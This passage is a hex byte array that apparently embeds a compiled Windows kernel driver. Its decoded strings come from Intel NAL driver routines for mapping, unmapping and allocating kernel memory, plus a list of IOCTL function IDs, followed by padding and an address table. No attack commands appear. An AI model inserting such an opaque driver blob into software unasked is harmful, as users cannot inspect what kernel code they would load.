0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x54, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x20, 0x6F, 0x72, 0x20, 0x4D, 0x64, 0x6C, 0x20, 0x77, 0x61, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, + 0x4E, 0x61, 0x6C, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3A, 0x20, 0x43, 0x61, 0x6C, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, + 0x50, 0x61, 0x67, 0x65, 0x73, 0x0A, 0x00, 0xCC, 0x4E, 0x61, 0x6C, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3A, 0x20, 0x53, 0x6C, 0x6F, 0x74, 0x20, 0x25, 0x64, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, + 0x65, 0x64, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3A, 0x20, 0x47, 0x6C, 0x6F, 0x62, 0x61, + 0x6C, 0x5F, 0x57, 0x69, 0x6E, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x4D, 0x61, 0x70, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x5B, 0x25, 0x64, 0x5D, 0x2E, 0x4D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3D, 0x20, + 0x30, 0x78, 0x25, 0x70, 0x20, 0x3D, 0x3D, 0x20, 0x30, 0x78, 0x25, 0x70, 0x0A, 0x00, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3A, 0x20, 0x4C, 0x6F, 0x6F, 0x6B, 0x69, + 0x6E, 0x67, 0x20, 0x74, 0x6F, 0x20, 0x75, 0x6E, 0x6D, 0x61, 0x70, 0x20, 0x30, 0x78, 0x25, 0x70, 0x2C, 0x20, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x25, 0x64, 0x2C, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, 0x64, 0x20, 0x25, + 0x64, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5F, 0x4E, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x4E, 0x6F, 0x6E, 0x50, 0x61, 0x67, + 0x65, 0x64, 0x20, 0x2D, 0x20, 0x4D, 0x6D, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, 0x75, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x0A, 0x00, + 0x5F, 0x4E, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x4E, 0x6F, 0x6E, 0x50, 0x61, 0x67, 0x65, 0x64, 0x20, 0x2D, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, + 0x65, 0x73, 0x73, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x25, 0x70, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5F, 0x4E, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x65, 0x6D, 0x6F, + 0x72, 0x79, 0x4E, 0x6F, 0x6E, 0x50, 0x61, 0x67, 0x65, 0x64, 0x20, 0x2D, 0x20, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x2E, 0x20, 0x46, 0x72, + 0x65, 0x65, 0x69, 0x6E, 0x67, 0x20, 0x4D, 0x44, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5F, 0x4E, 0x61, 0x6C, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x4E, 0x6F, + 0x6E, 0x50, 0x61, 0x67, 0x65, 0x64, 0x45, 0x78, 0x3A, 0x20, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x20, 0x65, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x30, 0x78, 0x25, 0x70, 0x20, 0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, + 0x65, 0x64, 0x20, 0x69, 0x6E, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x2E, 0x20, 0x4E, 0x6F, 0x74, 0x20, 0x66, 0x72, 0x65, 0x65, 0x69, 0x6E, 0x67, 0x20, 0x61, 0x6E, 0x79, 0x74, 0x68, 0x69, 0x6E, 0x67, 0x2E, + 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x4D, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3A, 0x20, 0x2A, 0x56, 0x69, 0x72, 0x74, 0x75, + 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x25, 0x70, 0x20, 0x28, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x75, 0x73, 0x65, 0x72, 0x29, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4E, 0x61, 0x6C, 0x4D, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3A, 0x20, 0x2A, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x25, 0x70, + 0x20, 0x28, 0x6E, 0x6F, 0x74, 0x20, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x75, 0x73, 0x65, 0x72, 0x29, 0x0A, 0x00, 0xCC, 0x4E, 0x61, 0x6C, 0x4D, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, + 0x3A, 0x20, 0x56, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x25, 0x70, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x54, 0x50, 0x4E, 0x50, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x54, 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x52, 0x00, 0x45, 0x00, 0x47, 0x00, 0x49, 0x00, 0x53, 0x00, 0x54, 0x00, 0x52, 0x00, + 0x59, 0x00, 0x5C, 0x00, 0x4D, 0x00, 0x41, 0x00, 0x43, 0x00, 0x48, 0x00, 0x49, 0x00, 0x4E, 0x00, 0x45, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x41, 0x00, 0x52, 0x00, 0x44, 0x00, 0x57, 0x00, 0x41, 0x00, 0x52, 0x00, 0x45, 0x00, 0x5C, 0x00, 0x52, 0x00, + 0x45, 0x00, 0x53, 0x00, 0x4F, 0x00, 0x55, 0x00, 0x52, 0x00, 0x43, 0x00, 0x45, 0x00, 0x4D, 0x00, 0x41, 0x00, 0x50, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x6E, 0x00, 0x50, 0x00, 0x20, 0x00, 0x4D, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x67, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x4D, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x67, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x4C, 0x6F, 0x6F, 0x6B, 0x69, 0x6E, 0x67, 0x20, + 0x66, 0x6F, 0x72, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x25, 0x64, 0x2F, 0x25, 0x64, 0x2F, 0x25, 0x64, 0x0A, 0x00, 0x5F, 0x4E, 0x61, 0x6C, 0x52, 0x65, 0x61, 0x64, 0x50, 0x63, 0x69, 0x44, 0x65, 0x76, 0x69, 0x63, + 0x65, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x25, 0x64, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x28, 0x25, 0x64, 0x29, 0x0A, 0x00, 0xCC, 0xCC, 0x63, 0x3A, 0x5C, 0x75, 0x73, 0x65, 0x72, 0x73, + 0x5C, 0x63, 0x6C, 0x6F, 0x75, 0x64, 0x62, 0x75, 0x69, 0x6C, 0x64, 0x5C, 0x33, 0x33, 0x37, 0x32, 0x34, 0x34, 0x5C, 0x73, 0x64, 0x6B, 0x5C, 0x6E, 0x61, 0x6C, 0x5C, 0x73, 0x72, 0x63, 0x5C, 0x77, 0x69, 0x6E, 0x6E, 0x74, 0x5F, 0x77, 0x64, 0x6D, + 0x5C, 0x64, 0x72, 0x69, 0x76, 0x65, 0x72, 0x5C, 0x77, 0x69, 0x6E, 0x64, 0x72, 0x69, 0x76, 0x65, 0x72, 0x70, 0x63, 0x69, 0x5F, 0x69, 0x2E, 0x63, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x46, 0x69, 0x6C, 0x6C, 0x4B, 0x65, 0x72, 0x6E, + 0x65, 0x6C, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x78, 0x74, 0x3A, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3A, 0x20, 0x25, 0x70, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x5F, 0x4E, 0x61, 0x6C, 0x48, 0x61, 0x73, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x72, 0x75, 0x70, 0x74, 0x4F, 0x63, 0x63, 0x75, 0x72, 0x72, 0x65, 0x64, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x25, 0x73, 0x0A, 0x00, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x46, 0x41, 0x4C, 0x53, 0x45, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x54, 0x52, 0x55, 0x45, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4E, 0x61, 0x6C, 0x52, 0x65, 0x73, 0x6F, 0x6C, 0x76, 0x65, 0x4F, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x3A, 0x20, 0x46, 0x75, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x49, 0x64, 0x20, 0x3D, 0x20, 0x25, + 0x64, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x52, 0x65, 0x73, 0x6F, 0x6C, 0x76, 0x65, 0x4F, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x3A, 0x20, 0x4E, 0x41, 0x4C, 0x5F, 0x57, + 0x49, 0x4E, 0x5F, 0x49, 0x53, 0x5F, 0x41, 0x44, 0x41, 0x50, 0x54, 0x45, 0x52, 0x5F, 0x49, 0x4E, 0x5F, 0x55, 0x53, 0x45, 0x5F, 0x46, 0x55, 0x4E, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x44, 0x61, 0x74, 0x61, + 0x20, 0x69, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x52, 0x65, 0x73, 0x6F, 0x6C, 0x76, 0x65, 0x4F, 0x73, 0x53, 0x70, 0x65, 0x63, + 0x69, 0x66, 0x69, 0x63, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x3A, 0x20, 0x4E, 0x41, 0x4C, 0x5F, 0x57, 0x49, 0x4E, 0x5F, 0x41, 0x44, 0x41, 0x50, 0x54, 0x45, 0x52, 0x5F, 0x49, 0x4E, 0x5F, 0x55, 0x53, 0x45, 0x5F, 0x46, 0x55, 0x4E, 0x43, 0x49, 0x44, + 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0x4E, 0x61, 0x6C, 0x52, 0x65, 0x73, 0x6F, 0x6C, 0x76, 0x65, 0x4F, 0x73, 0x53, 0x70, 0x65, 0x63, + 0x69, 0x66, 0x69, 0x63, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x3A, 0x20, 0x4E, 0x41, 0x4C, 0x5F, 0x57, 0x49, 0x4E, 0x5F, 0x44, 0x52, 0x49, 0x56, 0x45, 0x52, 0x5F, 0x47, 0x45, 0x54, 0x5F, 0x52, 0x45, 0x46, 0x5F, 0x43, 0x4F, 0x55, 0x4E, 0x54, 0x5F, + 0x46, 0x55, 0x4E, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4E, 0x61, 0x6C, 0x52, 0x65, 0x73, 0x6F, 0x6C, 0x76, 0x65, 0x4F, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x3A, 0x20, 0x4E, 0x41, 0x4C, 0x5F, 0x57, 0x49, 0x4E, 0x5F, 0x4F, 0x53, 0x5F, 0x44, 0x45, + 0x56, 0x49, 0x43, 0x45, 0x5F, 0x46, 0x55, 0x4E, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4E, 0x61, 0x6C, 0x52, 0x65, 0x73, 0x6F, 0x6C, 0x76, 0x65, 0x4F, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x3A, 0x20, 0x4E, 0x41, 0x4C, 0x5F, 0x57, 0x49, 0x4E, 0x5F, 0x46, 0x52, 0x45, 0x45, 0x5F, + 0x44, 0x45, 0x56, 0x5F, 0x43, 0x4F, 0x4E, 0x54, 0x45, 0x58, 0x54, 0x5F, 0x46, 0x55, 0x4E, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x52, 0x65, 0x73, 0x6F, 0x6C, 0x76, 0x65, 0x4F, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6F, 0x63, 0x74, + 0x6C, 0x3A, 0x20, 0x4E, 0x41, 0x4C, 0x5F, 0x57, 0x49, 0x4E, 0x5F, 0x41, 0x4C, 0x4C, 0x4F, 0x43, 0x5F, 0x44, 0x45, 0x56, 0x5F, 0x43, 0x4F, 0x4E, 0x54, 0x45, 0x58, 0x54, 0x5F, 0x46, 0x55, 0x4E, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6E, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x52, 0x65, 0x73, 0x6F, 0x6C, + 0x76, 0x65, 0x4F, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x3A, 0x20, 0x4E, 0x41, 0x4C, 0x5F, 0x57, 0x49, 0x4E, 0x5F, 0x47, 0x45, 0x54, 0x5F, 0x53, 0x59, 0x4D, 0x42, 0x4F, 0x4C, 0x49, 0x43, 0x5F, + 0x4E, 0x41, 0x4D, 0x45, 0x5F, 0x46, 0x55, 0x4E, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x52, 0x65, 0x73, 0x6F, 0x6C, 0x76, 0x65, 0x4F, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x3A, 0x20, 0x4E, 0x41, 0x4C, 0x5F, 0x57, + 0x49, 0x4E, 0x5F, 0x47, 0x45, 0x54, 0x5F, 0x50, 0x44, 0x4F, 0x5F, 0x50, 0x4F, 0x49, 0x4E, 0x54, 0x45, 0x52, 0x5F, 0x46, 0x55, 0x4E, 0x43, 0x49, 0x44, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, + 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0x4E, 0x61, 0x6C, 0x4F, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x3A, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x49, 0x64, 0x20, 0x3D, + 0x20, 0x25, 0x64, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x27, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x27, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xA2, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBA, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCC, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFA, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0E, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x54, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB2, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xC8, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x25, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0x24, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xA2, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCC, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEE, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xF8, 0x26, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x27, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x27, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0x27, 0x5D, 0x00, 0x00, 0x00, 0x00, 